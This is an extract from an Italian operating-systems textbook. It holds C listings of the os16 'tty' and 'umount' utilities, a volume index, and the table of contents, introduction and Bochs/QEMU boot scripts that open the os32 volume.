4400001 #include <fcntl.h>
4400002 #include <sys/stat.h>
4400003 #include <utime.h>
4400004 #include <stddef.h>
4400005 #include <unistd.h>
4400006 #include <errno.h>
4400007 #include <sys/os16.h>
4400008 #include <sys/types.h>
4400009 //----------------------------------------------------------------------
4400010 static void     usage (void);
4400011 //----------------------------------------------------------------------
4400012 int
4400013 main (int argc, char *argv[], char *envp[])
4400014 {
4400015   int             dev_minor;
4400016   struct stat     file_status;
4400017   //
4400018   // No options and no arguments.
4400019   //
4400020   if (argc > 1)
4400021     {
4400022       usage ();
4400023       return (1);
4400024     }
4400025   //
4400026   // Verify the standard input.
4400027   //
4400028   if (fstat (STDIN_FILENO, &file_status) == 0)
4400029     {
4400030       if (major (file_status.st_rdev) == DEV_CONSOLE_MAJOR)
4400031         {
4400032           dev_minor = minor (file_status.st_rdev);
4400033           //
4400034           // If minor is equal to 0xFF, it is '/dev/console'
4400035           // that is not a controlling terminal, but just
4400036           // a reference for the current virtual console.
4400037           //
4400038           if (dev_minor < 0xFF)
4400039             {
4400040               printf ("/dev/console%i\n", dev_minor);
4400041             }
4400042         }
4400043     }
4400044   else
4400045     {
4400046       perror ("Cannot get standard input file status");
4400047       return (2);
4400048     }
4400049   //
```

```
4400050     return (0);
4400051   }
4400052
4400053   //----------------------------------------------------------------------
4400054   static void
4400055   usage (void)
4400056   {
4400057     fprintf (stderr, "Usage: tty\n");
4400058   }
```

107.1.27 applic/umount.c

Si veda la sezione 103.4.

```
4410001   #include <unistd.h>
4410002   #include <stdlib.h>
4410003   #include <sys/stat.h>
4410004   #include <sys/types.h>
4410005   #include <fcntl.h>
4410006   #include <errno.h>
4410007   #include <signal.h>
4410008   #include <stdio.h>
4410009   #include <sys/wait.h>
4410010   #include <stdio.h>
4410011   #include <string.h>
4410012   #include <limits.h>
4410013   #include <sys/os16.h>
4410014   //----------------------------------------------------------------------
4410015   static void usage (void);
4410016   //----------------------------------------------------------------------
4410017   int
4410018   main (int argc, char *argv[], char *envp[])
4410019   {
4410020       int     status;
4410021       //
4410022       // One argument is mandatory.
4410023       //
4410024       if (argc != 2)
4410025         {
4410026           usage ();
4410027           return (1);
4410028         }
4410029       //
4410030       // System call.
4410031       //
4410032       status = umount (argv[1]);
4410033       if (status != 0)
4410034         {
4410035           perror (argv[1]);
4410036           return (2);
4410037         }
```

```
4410038     //
4410039     return (0);
4410040 }
4410041 //----------------------------------------------------------------------
4410042 static void
4410043 usage (void)
4410044 {
4410045     fprintf (stderr, "Usage: umount MOUNT_POINT\n");
4410046 }
```

Indice analitico del volume

aaa 5711 aaa.c 6461 abort() 5767 abort.c 6342 abs() 5768 abs.c 6343 access() 5767 access.c 6428 ADC 5607 ADD 5607 address.c 6161 addr_t 5639 5656 AH 5595 AL 5595 alloc.c 6344 AND 5608 As86 5627 asctime() 5774 asctime.c 6416 atexit() 5769 atexit.c 6348 atoi() 5770 atoi.c 6349 atol() 5770 atol.c 6349 *auxiliary carry* 5595 avvio 5707 AX 5595 basename() 5771 basename.c 6265 bbb.c 6462 Bcc 5625 BDT 5620 BH 5595 *BIOS data area* 5620 BL 5595 bochs 5978 Bootblocks 5629 BP 5595 bp() 5649 5773 build.h 6152 BX 5595 CALL 5609 CALL FAR 5609 *carry* 5595 cat 5712 cat.c 6462 CBW 5600 ccc.c 6464 CH 5595 chdir() 5725 chdir.c 6429 chiamata di sistema 5688 chmod 5712 chmod() 5727 chmod.c 6408 6465 chown 5713 chown() 5728 chown.c 6430 6466 CL 5595 CLC 5613 CLD 5613 clearerr() 5772 clearerr.c 6275 CLI 5612 cli() 5650 *click* 5594 clock() 5729 clock.c 6419 clock_t.h 6237 close() 5730 close.c 6430 closedir() 5772 closedir.c 6249 CMC 5613 CMP 5613 CMPSB 5604 CMPSW 5604 conclusione 5707 console 5853 const.h 6238 con_char_read() 5652 con_char_read.c 6132 con_char_ready() 5652 con_char_ready.c 6133 con_char_wait() 5652 con_char_wait.c 6133 con_init() 5652 con_init.c 6134 con_putc() 5652 con_putc.c 6134 con_scroll() 5652 con_scroll.c 6136 con_select() 5652 con_select.c 6137 cp 5713 cp.c 6468 creat() 5773 creat.c 6261 crt0.s 5641 6152 6472 cs() 5649 5773 ctime() 5774 ctype.h 6238 CWD 5600 CX 5595 date 5714 date.c 6475 DEC 5607 devices.h 5660 5867 5987 DEV_CONSOLE 5663 DEV_CONSOLE*n* 5663 dev_dsk() 5869 dev_dsk.c 5660 5987 DEV_DSK*n* 5663 dev_io() 5660 5869 dev_io.c 5660 5988 dev_kmem() 5870 dev_kmem.c 5660 5989 DEV_KMEM_FILE 5663 DEV_KMEM_INODE 5663 DEV_KMEM_MMP 5663 DEV_KMEM_PS 5663 DEV_KMEM_SB 5663 DEV_MEM 5663 dev_mem() 5871 dev_mem.c 5992 DEV_NULL 5663 DEV_PORT 5663 DEV_TTY 5663 dev_tty() 5872 dev_tty.c 5660 5994 DEV_ZERO 5663 DH 5595 DI 5595 diag.h 5636 5872 5996 DIR.c 6248 *direction* 5595 directory_t 5639 dirent.h 6247 dirname() 5771 dirname.c 6266 DIV 5607 div() 5776 div.c 6350 DL 5595 ds() 5649 5773 dsk0 5853 dsk1 5853 dsk_chs_t 5639 5653 dsk_read_bytes() 5654 dsk_read_bytes.c 6137 dsk_read_sectors() 5654 dsk_read_sectors.c 6138 dsk_reset() 5654 dsk_reset.c 6140 dsk_sector_to_chs() 5654 dsk_sector_to_chs.c 6140 dsk_setup() 5654 dsk_setup.c 6141 dsk_t 5639 5653 dsk_table.c 6141 dsk_write_bytes() 5654 dsk_write_bytes.c 6142 dsk_write_sectors() 5654 dsk_write_sectors.c 6143 dup() 5731 dup.c 6431 dup2() 5731 dup2.c 6431 DX 5595 ed 5715 ed.c 6477 endpwent() 5803 ENTER 5609 environ 5861 environ.c 6432 environment.c 6351 errfn 5777 errln 5777 errno 5777 errno.c 6259 errno.h 6254 errset() 5777 es() 5649 5773 execl() 5783 execl.c 6432 execle() 5783 execle.c 6433 execlp() 5783 execlp.c 6433 execv() 5783 execv.c 6434 execve() 5732 execve.c 6435 execvp() 5783 execvp.c 6436 exit() 5769 exit.c 6352 fchdir.c 6437 fchmod() 5727 fchmod.c 6409 fchown() 5728 fchown.c 6437 fclose() 5785 fclose.c 6275 fcntl() 5733 fcntl.c 6261 fcntl.h 6259 fd_chmod() 5677 5875 fd_chmod.c 6019 fd_chown() 5677 5876 fd_chown.c 6020 fd_close() 5677 5877 fd_close.c 6021 fd_dup() 5677 5878 fd_dup.c 6023 fd_dup2() 5677 5878 fd_dup2.c 6024 fd_fcntl() 5677 5880 fd_fcntl.c 6025 fd_lseek() 5677 5882 fd_lseek.c 6026 fd_open() 5677 5884 fd_open.c 6028 fd_read() 5677 5886 fd_read.c 6032 fd_reference() 5677 5888 fd_reference.c 6035

fd_stat() 5677 5927 fd_stat.c 6036 fd_t 5639 fd_write() 5677 5889 fd_write.c 6037 feof() 5786 feof.c 6276 ferror() 5786 ferror.c 6276 fflush() 5787 fflush.c 6276 fgetc() 5788 fgetc.c 6277 fgetpos() 5789 fgetpos.c 6277 fgets() 5790 fgets.c 6278 FILE.c 6275 fileno() 5791 fileno.c 6279 file_reference() 5673 5890 file_reference.c 6039 file_stdio_dev_make() 5673 5891 file_stdio_dev_make.c 6040 file_t 5639 5672 file_table.c 6041 FLAGS 5595 fopen() 5791 fopen.c 6279 fork() 5735 fork.c 6438 fprintf() 5818 fprintf.c 6281 fputc() 5793 fputc.c 6281 fputs() 5794 fputs.c 6282 fread() 5795 fread.c 6282 free() 5810 freopen() 5791 freopen.c 6283 fs.h 5664 5873 6014 fscanf() 5827 fscanf.c 6284 fseek() 5796 fseek.c 6284 fseeko() 5796 fseeko.c 6284 fsetpos() 5789 fsetpos.c 6285 fstat() 5755 fstat.c 6409 ftell() 5797 ftell.c 6285 ftello() 5797 ftello.c 6286 fwrite() 5798 fwrite.c 6286 getc() 5788 getchar() 5788 getchar.c 6286 getcwd() 5736 getcwd.c 6439 getenv() 5799 getenv.c 6353 geteuid() 5737 geteuid.c 6440 getgrgid.c 6264 getgrnam.c 6264 getopt() 5800 getopt.c 6440 getpgrp() 5738 getpgrp.c 6445 getpid() 5738 getpid.c 6445 getppid() 5738 getppid.c 6446 getpwent() 5803 getpwnam() 5805 getpwuid() 5805 gets() 5790 gets.c 6287 getty 5863 getty.c 6506 getuid() 5737 getuid.c 6446 gmtime() 5774 gmtime.c 6419 grp.h 6263 heap_clear() 5806 heap_clear.c 6397 heap_min() 5806 heap_min.c 6397 HLT 5612 ibm_i86.h 5648 5932 6118 IBM PC 5618 IDIV 5607 IMUL 5607 IN 5617 5617 INC 5607 init 5863 init.c 6508 inittab 5859 inode_alloc() 5669 5892 inode_alloc.c 6041 inode_check() 5669 5893 inode_check.c 6044 inode_dir_empty() 5669 5894 inode_dir_empty.c 6046 inode_file_read() 5669 5895 inode_file_read.c 6047 inode_file_write() 5669 5896 inode_file_write.c 6049 inode_free() 5897 inode_free.c 6051 inode_fzones_read() 5669 5898 inode_fzones_read.c 6052 inode_fzones_write() 5898 inode_fzones_write.c 6053 inode_get() 5669 5899 inode_get.c 6055 inode_put() 5669 5900 inode_put.c 6058 inode_reference() 5669 5901 inode_reference.c 6060 inode_save() 5669 5902 inode_save.c 6062 inode_stdio_dev_make() 5903 inode_stdio_dev_make.c 6063 inode_t 5639 5667 inode_table.c 6065 inode_truncate() 5669 5904 inode_truncate.c 6065 inode_zone() 5669 5905 inode_zone.c 6067 input_line() 5807 input_line.c 6398 INT 5612 int10_00() 5650 int10_02() 5650 int10_05() 5650 int12() 5650 int13_00() 5650 int13_02() 5650 int13_03() 5650 int16_00() 5650 int16_01() 5650 int16_02() 5650 *interrupt* 5595 *interrupt vector table* 5619 INTO 5612 inttypes.h 6239 in_16() 5650 in_8() 5650 IP 5595 IRET 5612 irq_off() 5650 irq_off.c 6144 irq_on() 5650 irq_on.c 6145 isatty() 5808 isatty.c 6446 isr_1C 5940 isr_80 5940 issue 5859 IVT 5619 ivt_load() 5941 I&D 5627 5635 JA 5613 JAE 5613 JB 5613 JBE 5613 JC 5613 JCXZ 5613 JE 5613 JG 5613 JGE 5613 JL 5613 JLE 5613 JMP 5613 JMP FAR 5613 JNA 5613 JNAE 5613 JNB 5613 JNBE 5613 JNC 5613 JNE 5613 JNG 5613 JNGE 5613 JNL 5613 JNO 5613 JNP 5613 JNS 5613 JNZ 5613 JO 5613 JP 5613 JPE 5613 JPO 5613 JS 5613 JZ 5613 kill 5715 kill() 5739 kill.c 6271 6512 kmem_file 5854 kmem_inode 5854 kmem_mmp 5855 kmem_ps 5855 kmem_sb 5855 k_clock.c 6146 k_close.c 6146 k_exit.s 6147 k_kill.c 6147 k_libc.h 5936 6145 k_open.c 6147 k_perror.c 6148 k_printf.c 6149 k_puts.c 6149 k_read.c 6149 k_stime.c 6150 k_time.c 6150 k_vprintf.c 6151 k_vsprintf.c 6151 labs() 5768 labs.c 6354 LAHF 5600 Ld86 5627 ldiv()

5776 ldiv.c 6354 LDS 5600 LEA 5600 LEAVE 5609 LES 5600 libgen.h 6265 limits.h 6242 link() 5740 link.c 6447 ln 5717 ln.c 6516 localtime() 5774 LODSB 5602 LODSW 5602 login 5717 login.c 6519 LOOP 5616 LOOPE 5616 LOOPNE 5616 LOOPNZ 5616 LOOPZ 5616 ls 5718 ls.c 6522 lseek() 5741 lseek.c 6448 main() 5644 main.c 6156 main.h 5936 6151 major() 5809 major.c 6414 MAKEDEV 5864 makedev() 5809 makedev.c 6414 MAKEDEV.c 6460 makeit 5979 malloc() 5810 man 5719 man.c 6529 mb_alloc() 5656 mb_alloc.c 6162 mb_alloc_size() 5656 mb_alloc_size.c 6163 mb_free() 5656 mb_free.c 6165 mb_reference() 5656 mb_reference.c 6167 mb_table.c 6167 mem 5856 memccpy() 5811 memccpy.c 6369 memchr() 5812 memchr.c 6369 memcmp() 5812 memcmp.c 6370 memcpy() 5813 memcpy.c 6370 memmove() 5814 memmove.c 6371 memory.c 5656 memory.h 5656 5936 6161 memory_t 5639 5656 memset() 5814 memset.c 6372 MEM_BLOCK_SIZE 5656 mem_copy() 5657 mem_copy.c 6167 MEM_MAX_BLOCKS 5656 mem_read() 5657 mem_read.c 6168 mem_write() 5657 mem_write.c 6168 menu.c 6159 minor() 5809 minor.c 6414 mkdir 5720 mkdir() 5742 mkdir.c 6410 6534 mknod() 5744 mknod.c 6411 mktime() 5774 mktime.c 6423 more 5720 more.c 6538 mount 5865 mount() 5745 mount.c 6399 6543 MOV 5600 MOVSB 5602 MOVSW 5602 MUL 5607 namep() 5815 namep.c 6400 NEG 5607 NOP 5600 NOT 5608 null 5857 NULL.h 6237 offsetof() 5815 offset_t 5639 5656 open() 5746 open.c 6263 opendir() 5816 opendir.c 6250 OR 5608 os16 5587 5631 os16.h 5648 5660 6385 OUT 5617 5617 out_16() 5650 out_8() 5650 *overflow* 5595 *paragrafo* 5594 *parity* 5595 passwd 5859 path_chdir() 5675 5906 path_chdir.c 6076 path_chmod() 5675 5907 path_chmod.c 6077 path_chown() 5675 5909 path_chown.c 6078 path_device() 5675 5910 path_device.c 6079 path_fix() 5675 5911 path_fix.c 6080 path_full() 5675 5912 path_full.c 6082 path_inode() 5675 5913 path_inode.c 6083 path_inode_link() 5675 5914 path_inode_link.c 6087 path_link() 5675 5915 path_link.c 6092 path_mkdir() 5675 5917 path_mkdir.c 6093 path_mknod() 5675 5918 path_mknod.c 6096 path_mount() 5675 5920 path_mount.c 6097 path_stat() 5675 5927 path_stat.c 6099 path_umount() 5675 5920 path_umount.c 6100 path_unlink() 5675 5922 path_unlink.c 6103 perror() 5817 perror.c 6288 POP 5609 POPA 5609 POPF 5609 port 5857 printf() 5818 printf.c 6289 print_fd.c 5998 print_fd_head.c 5998 print_fd_list.c 5999 print_file_head.c 5999 print_file_list.c 6000 print_file_num.c 6000 print_hex_16.c 6001 print_hex_16_reverse.c 6001 print_hex_32.c 6001 print_hex_32_reverse.c 6002 print_hex_8.c 6002 print_hex_8_reverse.c 6003 print_inode.c 6003 print_inode_head.c 6004 print_inode_list.c 6005 print_inode_map.c 6005 print_inode_zones.c 6006 print_inode_zones_head.c 6007 print_inode_zone_list.c 6006 print_kmem.c 6007 print_mb_map.c 6008 print_memory_map.c 6008 print_proc_head.c 6009 print_proc_list.c 6010 print_proc_pid.c 6010 print_segments.c 6011 print_superblock.c 6011 print_time.c 6012 print_zone_map.c 6012 proc.h 5678 5938 6169 process_info() 5821 process_info.c 6403 proc_available() 5942 proc_available.c 6177 proc_dump_memory() 5942 proc_dump_memory.c 6177 proc_find() 5943 proc_find.c 6179 proc_init() 5690 5944 proc_init.c 6180 proc_reference() 5689 5945 proc_reference.c 6182 proc_scheduler() 5692 5947 proc_scheduler.c 6187 proc_sch_signals() 5946 proc_sch_signals.c 6183 proc_sch_terminals() 5946

proc_sch_terminals.c 6183 proc_sch_timers() 5947 proc_sch_timers.c 6186 proc_sig_chld() 5949 proc_sig_chld.c 6189 proc_sig_cont() 5950 proc_sig_cont.c 6190 proc_sig_core() 5951 proc_sig_core.c 6191 proc_sig_ignore() 5952 proc_sig_ignore.c 6192 proc_sig_off() 5952 proc_sig_off.c 6192 proc_sig_on() 5952 proc_sig_on.c 6192 proc_sig_status() 5953 proc_sig_status.c 6193 proc_sig_stop() 5954 proc_sig_stop.c 6193 proc_sig_term() 5955 proc_sig_term.c 6194 proc_sys_exec() 5955 proc_sys_exec.c 6194 proc_sys_exit() 5957 proc_sys_exit.c 6206 proc_sys_fork() 5959 proc_sys_fork.c 6208 proc_sys_kill() 5960 proc_sys_kill.c 6213 proc_sys_seteuid() 5962 proc_sys_seteuid.c 6216 proc_sys_setuid() 5963 proc_sys_setuid.c 6216 proc_sys_signal() 5964 proc_sys_signal.c 6217 proc_sys_wait() 5966 proc_sys_wait.c 6218 proc_t 5686 proc_table.c 6219 *program counter* 5595 5595 *program status word* 5595 5595 ps 5721 ps.c 6544 PSW 5595 ptrdiff_t.h 6243 PUSH 5609 PUSHA 5609 PUSHF 5609 putc() 5793 putchar() 5793 putenv() 5822 putenv.c 6355 puts() 5794 puts.c 6289 pwd.h 6268 pwent.c 6268 qemu 5978 qsort() 5823 qsort.c 6357 ram_copy() 5650 rand() 5824 rand.c 6359 RCL 5608 RCR 5608 read() 5749 read.c 6448 readdir() 5825 readdir.c 6252 realloc() 5810 registro 5595 REP 5602 REPE 5604 REPNE 5604 REPNZ 5604 REPZ 5604 restrict.h 6243 RET 5609 RETF 5609 RET FAR 5609 reverse_16_bit.c 6013 reverse_32_bit.c 6013 reverse_8_bit.c 6014 rewind() 5826 rewind.c 6290 rewinddir() 5826 rewinddir.c 6253 rm 5722 rm.c 6546 rmdir() 5750 rmdir.c 6450 ROL 5608 ROR 5608 run.c 6160 SAHF 5600 SAL 5608 SAR 5608 SBB 5607 sb_inode_status() 5666 5923 sb_inode_status.c 6106 sb_mount() 5666 5924 sb_mount.c 6107 sb_reference() 5666 5925 sb_reference.c 6110 sb_save() 5666 5926 sb_save.c 6111 sb_t 5639 5665 sb_table.c 6113 sb_zone_status() 5666 5923 sb_zone_status.c 6113 scanf() 5827 scanf.c 6290 SCASB 5604 SCASW 5604 SEEK.h 6237 *segmento* 5594 segment_t 5639 5656 seg_d() 5649 5832 seg_i() 5649 5832 setbuf() 5832 setbuf.c 6290 setenv() 5833 setenv.c 6360 seteuid() 5751 seteuid.c 6451 setpgrp() 5751 setpgrp.c 6451 setpwent() 5803 setuid() 5751 setuid.c 6452 setvbuf() 5832 setvbuf.c 6291 shell 5722 shell.c 6547 SHL 5608 SHR 5608 SI 5595 *sign* 5595 signal() 5752 signal.c 6272 signal.h 6270 size_t.h 6243 sleep() 5754 sleep.c 6452 snprintf() 5818 snprintf.c 6291 SP 5595 sp() 5649 5773 sprintf() 5818 sprintf.c 6291 srand() 5824 ss() 5649 5773 sscanf() 5827 sscanf.c 6292 stat() 5755 stat.c 6412 stat.h 6406 STC 5613 5613 stdarg.h 6244 stdbool.h 6244 stddef.h 6244 stdint.h 6245 stdio.h 5835 6273 stdlib.h 6340 STI 5612 sti() 5650 stime() 5759 stime.c 6425 STOSB 5602 STOSW 5602 strcat() 5836 strcat.c 6372 strchr() 5837 strchr.c 6372 strcmp() 5838 strcmp.c 6373 strcoll() 5838 strcoll.c 6374 strcpy() 5839 strcpy.c 6374 strcspn() 5842 strcspn.c 6374 strdup() 5839 strdup.c 6375 strerror() 5840 strerror.c 6376 string.h 6368 strlen() 5840 strlen.c 6378 strncat() 5836 strncat.c 6378 strncmp() 5838 strncmp.c 6379 strncpy() 5839 strncpy.c 6379 strpbrk() 5842 strpbrk.c 6380 strrchr() 5837 strrchr.c 6380 strspn() 5842 strspn.c 6381 strstr() 5843 strstr.c 6381 strtok() 5843 strtok.c 6382 strtol() 5845 strtol.c 6362 strtoul() 5845 strtoul.c 6366 strxfrm() 5847 strxfrm.c 6384 SUB 5607 sys() 5758 sys.s 6403 sysroutine() 5688 5690 5967 sysroutine.c 6219 TEST 5613 time() 5759 time.c 6426 time.h 6416 time_t.h 6247 touch 5723 touch.c 6552 *trace* 5595 tty 5724 5858 tty.c 6554 tty.h 5659 5968 6226

ttyname() 5848 ttyname.c 6453 tty_console() 5659 tty_console.c 6227 tty_init() 5659 tty_init.c 6228 tty_read() 5659 tty_read.c 6228 tty_reference() 5659 tty_reference.c 6229 tty_t 5639 tty_table.c 6230 tty_write() 5659 tty_write.c 6230 types.h 6413 umask() 5760 umask.c 6413 umount 5865 umount() 5745 umount.c 6404 6555 unistd.h 6426 unlink() 5761 unlink.c 6454 unsetenv() 5833 unsetenv.c 6367 utime.c 6456 utime.h 6456 u-area 5686 vfprintf() 5849 vfprintf.c 6292 vfscanf() 5850 vfscanf.c 6293 vfsscanf.c 6293 vprintf() 5849 vprintf.c 6319 vscanf() 5850 vscanf.c 6320 vsnprintf() 5849 vsnprintf.c 6321 vsprintf() 5849 vsprintf.c 6339 vsscanf() 5850 vsscanf.c 6340 wait() 5761 wait.c 6415 wait.h 6415 wchar_t.h 6247 write() 5763 write.c 6455 x86-16 5594 XCHG 5600 XLATB 5602 XOR 5608 *zero* 5595 zero 5858 zno_t 5639 zone_alloc() 5667 5930 zone_alloc.c 6114 zone_free() 5667 5930 zone_free.c 6115 zone_read() 5667 5931 zone_read.c 6116 zone_write() 5667 5931 zone_write.c 6117 z_perror() 5764 z_perror.c 6404 z_printf() 5764 z_printf.c 6405 z_putchar() 5764 z_putchar.c 6405 z_puts() 5764 z_puts.c 6406 z_vprintf() 5764 z_vprintf.c 6406 _Bool.h 6237 _bp() 5649 _bp.s 6394 _cli.s 6121 _cs() 5649 _cs.s 6395 _ds() 5649 _ds.s 6395 _es() 5649 _es.s 6395 _exit() 5725 _Exit() 5725 _exit.c 6427 _Exit.c 6342 _int10_00() 5650 _int10_00.s 6122 _int10_02() 5650 _int10_02.s 6123 _int10_05() 5650 _int10_05.s 6124 _int12() 5650 _int12.s 6124 _int13_00() 5650 _int13_00.s 6125 _int13_02() 5650 _int13_02.s 6125 _int13_03() 5650 _int13_03.s 6127 _int16_00() 5650 _int16_00.s 6128 _int16_01() 5650 _int16_01.s 6128 _int16_02() 5650 _int16_02.s 6129 _in_16() 5650 _in_16.s 6121 _in_8() 5650 _in_8.s 6122 _isr.s 5678 6171 _ivt_load() 5941 _ivt_load.s 5678 6176 _out_16() 5650 _out_16.s 6130 _out_8() 5650 _out_8.s 6130 _ram_copy() 5650 _ram_copy.s 6131 _seg_d() 5649 _seg_d.s 6396 _seg_i() 5649 _seg_i.s 6396 _sp() 5649 _sp.s 6396 _ss() 5649 _ss.s 6397 _sti.s 6131

«a2» 2010.10.10

Volume VII

OS32

ISBN 978-88-905012-0-3

Via Morganella Est, 21 -- I-31050 Ponzano Veneto (TV) -- ⟨*appunti2 (ad) gmail·com* ⟩

Il numero ISBN 978-88-905012-0-3 si riferisce all'opera originale in formato elettronico, pubblicata a titolo gratuito.

Per tutti i riferimenti dell'opera si veda ⟨*http://informaticalibera.net*⟩; per essere ridiretti automaticamente all'origine della distribuzione in-linea, si può usare l'indirizzo ⟨*http://appunti2.net*⟩. Al momento della pubblicazione di questa edizione, i punti di distribuzione in-linea più importanti, sono presso Internet Archive (⟨*http://www.archive.org/details/AppuntiDiInformaticaLibera*⟩), il GARR (⟨*http://appuntilinux.mirror.garr.it/mirrors/appuntilinux/*⟩) e ILS (⟨*http://appunti.linux.it*⟩). Tuttavia, per motivi tecnici, l'edizione pubblicata in-linea potrebbe non essere completa di tutti i contenuti, oppure potrebbe non essere sempre aggiornata. Pertanto, chi desidera ricevere **gratuitamente** una copia dell'ultima edizione di «a2» in DVD-ROM può scrivere all'autore, specificando l'indirizzo postale a cui va spedito il materiale:

daniele giacomini
via Morganella EST, 21
31050 Ponzano Veneto (TV)
⟨*appunti2 (ad) gmail·com*⟩

Dal momento che il pacchetto dei sorgenti dell'opera è molto grande (SGML, compilabile con Alml), se si desidera ricevere anche questo, è bene specificarlo.

Successivamente all'edizione 2009.11111 dell'opera (21 luglio 2009), inizia un processo di razionalizzazione con l'eliminazione di molti contenuti non più attuali o non più utili. Chi desidera ricevere una copia della versione 2009.11111 o di versioni precedenti, può farne ugualmente richiesta.

Parte viii Progetto 6567

108 Primi passi verso un sistema per hardware x86-32 6569

109 Studio per un sistema a 32 bit 6677

Parte ix Manuale 6761

110 Avvio del sistema e conclusione 6769

111 Sezione 1: programmi eseguibili o comandi interni di shell 6773

112 Sezione 2: chiamate di sistema 6791

113 Sezione 3: funzioni di libreria 6843

114 Sezione 4: file speciali 6931

115 Sezione 5: formato dei file e convenzioni 6937

116 Sezione 7: varie 6941

117 Sezione 8: comandi per l'amministrazione del sistema 6943

118 Sezione 9: kernel 6947

Parte x Codice 7023

119 Script e sorgenti del kernel 7025

120 Sorgenti della libreria generale 7451

121 Sorgenti delle applicazioni 7835

Appendice: un sistema giocattolo, denominato «05» 7959

Indice analitico del volume 8077

os32 è un piccolo sistema operativo di studio, realizzato come derivazione di os16, riutilizzando anche il lavoro su «05» (che si trova in appendice al volume). Molte cose di os16 sono rimaste praticamente identiche in os32, altre sono sviluppate in maniera differente o semplicemente più completa. Tuttavia os32 rimane un sistema con una gestione fragile delle unità di memorizzazione di massa e del file system, per cui non ci si deve allarmare di fronte a un'improvvisa distruzione del file system in uno dei file immagine in cui il sistema si concretizza.

Le limitazioni di os32 comportano però una grande semplificazione nel codice, con l'intento di rendere os32 più utile, come primo approccio allo studio dei sistemi operativi, eventualmente anche prima di affrontare le pubblicazioni fondamentali, costituite da: *The design of the UNIX operating system*, di Maurice J. Bach, pubblicato da Prentice Hall, 1990, ISBN 0132017997 e *Operating Systems: Design and Implementation*, di Andrew S. Tanenbaum e Albert S. Woodhull, pubblicato da Prentice-Hall, 2006, ISBN 0-13-142938-8.

Parte viii

Progetto

108 Primi passi verso un sistema per hardware x86-32 6569

108.1 Privilegi dei segmenti 6571

108.2 Funzioni di utilità generale 6575

108.3 Utilizzo dello schermo VGA a caratteri 6577

108.4 GDT 6578

108.5 IDT 6589

108.6 Gestione delle interruzioni 6601

108.7 Gestione del temporizzatore: PIT, ovvero «programmable interval timer» 6607

108.8 Tastiera PS/2 6609

108.9 Gestione di dischi PATA 6609

108.10 PCI 6628

108.11 NE2000 6639

108.12 Riferimenti 6673

109 Studio per un sistema a 32 bit 6677

109.1 Introduzione a os32 6679

109.2 Caricamento ed esecuzione del kernel 6687

109.3 Funzioni interne legate all'hardware, nei file «kernel/ibm_i386.h» e «kernel/ibm_i386/...» 6696

109.4 Gestione dei processi 6702

109.5 Caricamento ed esecuzione delle applicazioni 6723

109.6 Gestione della memoria 6727

109.7 Dispositivi 6730

109.8 Gestione del file system 6743

Capitolo 108

Primi passi verso un sistema per hardware x86-32

108.1 Privilegi dei segmenti 6571
108.1.1 DPL, CPL e RPL 6571
108.1.2 Pila dei dati 6573
108.1.3 Segmenti, selettori e registri 6573
108.2 Funzioni di utilità generale 6575
108.2.1 Porte I/O 6575
108.2.2 Sospensione e ripristino delle interruzioni hardware 6576
108.3 Utilizzo dello schermo VGA a caratteri 6577
108.3.1 Memoria dello schermo a caratteri 6577
108.3.2 Cursore 6578
108.4 GDT 6578
108.4.1 Privilegi 6579
108.4.2 Organizzazione e contenuti della tabella GDT 6579
108.4.3 Struttura effettiva della tabella GDT 6580
108.4.4 Tabella GDT elementare 6582
108.4.5 Costruzione di una tabella GDT 6583
108.4.6 Attivazione della tabella GDT 6584
108.4.7 Verifica della tabella GDT 6585
108.4.8 Istruzioni per l'attivazione 6587
108.5 IDT 6589
108.5.1 Struttura della tabella IDT 6589
108.5.2 Codice per la costruzione di una tabella IDT 6590
108.5.3 Attivazione della tabella IDT 6592
108.5.4 Lo stato della pila al verificarsi di un'interruzione 6594
108.5.5 Bozza di un gestore di interruzioni 6594
108.5.6 Una funzione banale per il controllo delle interruzioni 6599
108.5.7 Privilegi e protezioni 6600
108.6 Gestione delle interruzioni 6601
108.6.1 Eccezioni 6601
108.6.2 PIC e rimappatura delle interruzioni 6602
108.6.3 Procedura generalizzata per la gestione delle interruzioni 6604
108.6.4 Attivazione 6607

108.7 Gestione del temporizzatore: PIT, ovvero «programmable interval timer» . . . 6607

108.8 Tastiera PS/2 . . . 6609

108.9 Gestione di dischi PATA . . . 6609

108.9.1 Modalità di accesso . . . 6610
108.9.2 Registri per la gestione delle unità ATA . . . 6611
108.9.3 Alcuni comandi . . . 6615
108.9.4 Individuazione dei bus utilizzati . . . 6619
108.9.5 Azzeramento dello stato dei dispositivi . . . 6619
108.9.6 Controllo delle interruzioni . . . 6620
108.9.7 Verifica dell'esito di un comando . . . 6620
108.9.8 Identificazione delle unità . . . 6621
108.9.9 Scomposizione dell'indirizzo . . . 6623
108.9.10 Lettura LBA28 PIO . . . 6624
108.9.11 Scrittura LBA28 PIO . . . 6627

108.10 PCI . . . 6628

108.10.1 Registri e porte . . . 6628
108.10.2 Strutture dei dati . . . 6629
108.10.3 Raccolta delle informazioni . . . 6635

108.11 NE2000 . . . 6639

108.11.1 Memoria interna . . . 6639
108.11.2 Coda di ricezione . . . 6640
108.11.3 Tampone di trasmissione . . . 6642
108.11.4 Trasferimento dati tra la memoria interna e quella dell'elaboratore . . . 6643
108.11.5 Registri e porte . . . 6644
108.11.6 Procedura di riconoscimento . . . 6651
108.11.7 Procedura di inizializzazione . . . 6653
108.11.8 Trasmissione di un pacchetto . . . 6663
108.11.9 Ricezione . . . 6667

108.12 Riferimenti . . . 6673

`CLI` 6576 `INB` 6575 `IRET` 6594 `LGDT` 6587 `LIDT` 6592 `OUTB` 6575 `STI` 6576

Questo capitolo raccoglie le informazioni basilari per la realizzazione di un sistema autonomo, privo però di funzionalità utili. Per chiarire i concetti raccolti in questo capitolo è molto importante affiancare la lettura di *Intel Architectures Software Developer's Manual, System Programming Guide* (ottenibile presso ⟨*http://developer.intel.com/products/processor/manuals/index.htm*⟩).

Per affrontare il capitolo è opportuno prendere prima confidenza con la sezione 76.5, nella quale si guida a realizzare un programma, avviato attraverso GRUB o SYSLINUX, in grado semplicemente di visualizzare un messaggio sullo schermo.

Per rendere agevoli gli esperimenti descritti in questo capitolo, è necessario utilizzare Bochs o QEMU, ovvero di un emulatore di architettura x86-32. Supponendo di avere predisposto un file-immagine di un dischetto, in cui si avvia il proprio kernel sperimentale attraverso GRUB 1 o di SYSLINUX, conviene predisporre uno script per l'avvio di Bochs o di QEMU senza doversi preoccupare di altro:

```
#!/bin/sh
bochs -q 'boot:a' 'floppya: 1_44=floppy.img, status=inserted'
```

```
#!/bin/sh
qemu -fda floppy.img -boot a
```

